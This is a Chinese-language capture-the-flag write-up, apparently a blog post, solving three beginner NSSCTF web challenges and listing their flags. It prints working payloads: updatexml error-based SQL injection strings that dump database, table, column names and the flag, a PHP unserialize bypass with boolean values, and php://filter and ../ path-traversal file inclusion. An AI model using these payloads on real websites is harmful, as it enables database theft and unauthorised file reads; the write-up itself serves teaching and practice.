[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

报错注入:?id='and updatexml(1,concat(0x7e,database(),0x7e),1) --+

爆出了数据库名称 test_db

爆表名:?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="test_db"),0x7e),1) --+

发现了一个users表

爆字段名:?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="test_tb"),0x7e),1) --+

发现爆出了flag和id

?id='and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1) --+

发现flag并没有完全显示出来,应该是长度不够

?id='and updatexml(1,concat(0x7e,mid((select flag from test_tb),32,31),0x7e),1) --+

爆出后面的字段

NSSCTF{b4d5a3d7-f2a5-4085-a973-05b4926b9325}

[HUBUCTF 2022 新生赛]checkin

这是让我们输入usernam 和password 分别等于this_is_secret 和this_is_not_known_to_you 然后有GET传参,然后把传参转换成反序了化(unserialize) 如果等于输出flg反之输出username or password error!

我们先试试传参反序列化

复制代码
<?php
$a['username']  = "this_is_secret"; 
$a['password']  = "this_is_not_known_to_you"; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

发现没有显示

发现失败,有一句提示说 here I changed those two ,可能是flag.php改变了这两个值,

说要穿两个正确值,那我们直接拿true试试

复制代码
<?php
$a['username']  = true; 
$a['password']  = true; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

拿到flag

NSSCTF{3c5912f7-08da-4058-8f0a-ddeaa00b3be4}

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  • 代码检查 GET 参数 file 的前三个字符是否为 "php"
  • 如果是,就直接包含这个文件
  • 目标是要读取 flag.php 的内容

?file=php://filter/convert.base64-encode/resource=flag.php

我们用这个试试

我们去解析一下b64编码

发现不行,那我们换一个思路

?file=php://filter/resource=../../../flag

NSSCTF{b9f3c77b-6fcd-49ad-aef3-093c962a4abf}

相关推荐
a31582380611 小时前
Android Framework开发知识点整理
android·java·linux·服务器·framework·android源码开发
k***825111 小时前
图文详述:MySQL的下载、安装、配置、使用
android·mysql·adb
小七有话说12 小时前
DevUI与企业级中后台系统融合:低代码表单构建器实战
android·rxjava·devui
暗碳13 小时前
安卓abx二进制xml文件转换普通xml文件
android·xml
4z3313 小时前
Android15 Framework(3):系统服务进程 SystemServer 解析
android·源码阅读
没有了遇见14 小时前
Android 之Google Play bundletool 校验 AAB包
android·google
yuanhello14 小时前
【Android】Android的键值对存储方案对比
android·java·android studio
Ditglu.14 小时前
CentOS7 MySQL5.7 主从复制最终版搭建流程(避坑完整版)
android·adb
恋猫de小郭14 小时前
Android Studio Otter 2 Feature 发布,最值得更新的 Android Studio
android·前端·flutter
走在路上的菜鸟15 小时前
Android学Dart学习笔记第十二节 函数
android·笔记·学习·flutter